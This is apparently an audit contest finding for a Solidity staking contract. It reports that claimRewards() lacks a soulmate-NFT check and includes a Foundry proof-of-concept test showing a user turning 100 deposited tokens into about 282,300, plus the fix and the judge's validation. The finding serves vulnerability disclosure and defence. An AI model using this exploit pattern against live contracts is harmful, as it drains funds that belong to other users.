Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Users without a soulmate can claim a large amount of staking rewards

Summary

The Staking contract allows a user with love tokens but no soulmate, to deposit to stake and claim a large amount of staking rewards.

Vulnerability Details

The claimRewards() function in Staking.sol does not check if a user has a soulmate, so the calculation takes a wrong number of weeks and sends and incorrect amount of tokens to the user.

This test claims rewards without a soulmate.

function testClaimRewardsWithoutSoulmate() public {
// Jump to an current timestamp in mainnet
uint256 timestamp = 1707775379;
vm.warp(timestamp);
// Get a new user with tokens
address alice = makeAddr("alice");
uint256 initialBalance = 100 ether;
deal(address(loveToken), alice, initialBalance);
// Deposit and claim
vm.startPrank(alice);
loveToken.approve(address(stakingContract), initialBalance);
stakingContract.deposit(initialBalance);
stakingContract.claimRewards();
// Compare balances
console2.log("initialBalance", initialBalance);
console2.log("balance", loveToken.balanceOf(alice));
}

The test shows the tokens claimed by alice.

Running 1 test for test/unit/AuditTest1.t.sol:AuditTest1
[PASS] testClaimRewardsWithoutSoulmate() (gas: 268174)
Logs:
initialBalance 100000000000000000000
balance 282300000000000000000000

Impact

Users can steal tokens from the staking vault.

Tools Used

Foundry, Manual review

Recommendations

Add a soulmate check in Staking:claimRewards()

+error Staking__NoSoulmate();
function claimRewards() public {
+ if (soulmateContract.soulmateOf(msg.sender) == address(0)) revert Staking__NoSoulmate();
uint256 soulmateId = soulmateContract.ownerToId(msg.sender);
// first claim
if (lastClaim[msg.sender] == 0) {
lastClaim[msg.sender] = soulmateContract.idToCreationTimestamp(
soulmateId
);
}
Updates

Lead Judging Commences

0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-claimRewards-nft-0-lastClaim

High severity, as it allows any pending user to claim staking rewards without owning a soulmate NFT by - Obtaining love tokens on secondary markets - Transfer previously accrued love tokens via airdrops/rewards to another account and abusing the `deposit()` function

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.